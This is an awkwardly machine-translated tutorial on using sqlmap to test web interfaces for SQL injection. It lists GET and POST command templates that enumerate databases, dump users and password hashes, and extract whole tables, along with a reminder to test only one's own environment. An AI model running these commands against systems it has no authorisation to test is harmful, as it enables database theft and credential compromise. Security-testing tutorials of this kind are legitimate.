Sqlmap for interface security testing

sqlmap

brief introduction

Official website : https://sqlmap.org/
know : sqlmap Is an open source penetration testing tool , It automates detection and utilization SQL The process of injecting defects and taking over the database server .
characteristic :
1. Support MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2 And other common databases .
2. Support six SQL Injection technology is based on Boolean blind injection 、 Time based blind annotation 、 Error based injection 、 Injection based on joint query 、 Stack query injection and out of band query injection .
3. Support automatic identification of password hash format , And support the use of dictionary based attacks to crack it .
4. Support dump Database table , Can also be dump Partial column , It depends on the user's choice .

Use

reminder ： Please test in your own environment , Do not test other websites for damage

Premise ： The system has been configured Python Environmental Science

stay sqlmap Under the document ,shift+ Right mouse button , choice Open here Powershell window

get request

#--batch  Default confirmation , Don't ask if you enter 
# Get all databases 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dbs
# Get the database for the interface 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-db
# Get all users and passwords in the database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --users --passwords
# Get the user name for this interface 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --current-user
# Get all tables of a database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D  Library name  --tables
# Get all column names of a database and a table 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D  Library name  -T  Table name  --columns
# Get the value of a column of a table in a database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch -D  Library name  -T  Table name  -C  Name , Name  --start  Go ahead  --stop  End line  --dump
# Get the data of the following tables of all libraries 
python .\sqlmap.py -u"http://ip:port/ Address of the interface ? Parameters " --batch --dump-all

post request

#--batch  Default confirmation , Don't ask if you enter 
# Get all databases 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dbs
# Get the database for the interface 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-db
# Get all users and passwords in the database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --users --passwords
# Get the user name for this interface 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --current-user
# Get all tables of a database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D  Library name  --tables
# Get all column names of a database and a table 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D  Library name  -T  Table name  --columns
# Get the value of a column of a table in a database 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch -D  Library name  -T  Table name  -C  Name , Name  --start  Go ahead  --stop  End line  --dump
# Get the data of the following tables of all libraries 
python .\sqlmap.py -u"http://ip:port/ Address of the interface " --data=" Parameters " --cookie="xxx" --batch --dump-all

legend

Safe

all tested parameters do not appear to be injectable

None of the test parameters seem to inject

Not safe